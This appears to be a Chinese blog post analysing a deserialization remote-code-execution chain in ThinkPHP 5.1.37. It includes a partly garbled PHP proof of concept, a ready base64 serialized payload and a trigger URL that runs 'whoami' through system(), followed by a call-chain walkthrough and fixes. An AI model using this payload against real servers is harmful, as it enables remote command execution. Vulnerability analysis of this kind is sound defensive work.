ThinkPHP V5.0.5漏洞_Thinkphp 5.1 反序列化漏洞分析

通过composer来进行环境搭建

composer create-project topthink/think=5.1.37 v5.1.37

待调试代码

POC

append = ["ethan"=>["dir","calc"]];
 $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
 protected $hook = [];
 protected $filter = "system";
 protected $config = [
 // 表单请求类型伪装变量
 'var_method'       => '_method',
 // 表单ajax伪装变量
 'var_ajax'         => '_ajax',
 // 表单pjax伪装变量
 'var_pjax'         => '_pjax',
 // PATHINFO变量名 用于兼容模式
 'var_pathinfo'     => 's',
 // 兼容PATH_INFO获取
 'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
 // 默认全局过滤方法 用逗号分隔多个
 'default_filter'   => '',
 // 域名根,如thinkphp.cn
 'url_domain_root'  => '',
 // HTTPS代理标识
 'https_agent_name' => '',
 // IP代理获取标识
 'http_agent_ip'    => 'HTTP_X_REAL_IP',
 // URL伪静态后缀
 'url_html_suffix'  => 'html',
    ];
 function __construct(){
 $this->filter = "system";
 $this->config = ["var_ajax"=>''];
 $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace thinkprocesspipes;

use thinkmodelconcernConversion;
use thinkmodelPivot;
class Windows
{
 private $files = [];

 public function __construct()
    {
 $this->files=[new Pivot()];
    }
}
namespace thinkmodel;

use thinkModel;


{
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/
?>

URL

http://127.0.0.1/v5.1.37/public/?id=whoami

字符串被反序列化以后,按照PHP流程,反序列化出来的Windows类,在php脚本快要结束的时候,析构方法被触发

然后跟进removeFiles方法中

file_exists($filename) 中的 $filename 根据我们刚才构造的POC是一个Pivot类,file_exists要求传入一个字符串,这里就会触发__toString方法

但是我们查看代码实现,没有发现这个魔术方法

我们接着跟进它的父类查看实现,这个也同样没有找到__toString方法

关注这一块的引用,根据PHP的规则在class中 use trait 会继承该trait实现的方法

在Conversion中发现了__toString方法的实现

一直跟

最后是调用了toArray方法

在toArray方法中,189行$relation变量被赋值为poc中的Requst对象,然后在193行调用Requst对象的visible方法,

但是Request对象中没有visible这个方法所以触发了__call这个魔术方法

根据POC里面的定义

触发了Requst对象里面的isAjax方法

经过层层调用,最后调用了input方法

最关键的地方来了

通过POC我们将这里的$filter变量污染成了system

关键函数array_walk_recursive

将whoami在system函数中执行,到这里命令执行成功

整个漏洞完整调用堆载

修复方法:

1.框架态,针对Windows类进行修复,判断是否为string

2.用户态,使用PHP7新增的unserialize的过滤器

示例:

它通过白名单的方式来防止潜在的代码注入,将除 MyClass 和 MyClass2和stdClass之外的所有对象都转换为 __PHP_Incomplete_Class 对象,从而阻断反序列化的漏洞利用链

你可能感兴趣的:(ThinkPHP,V5.0.5漏洞)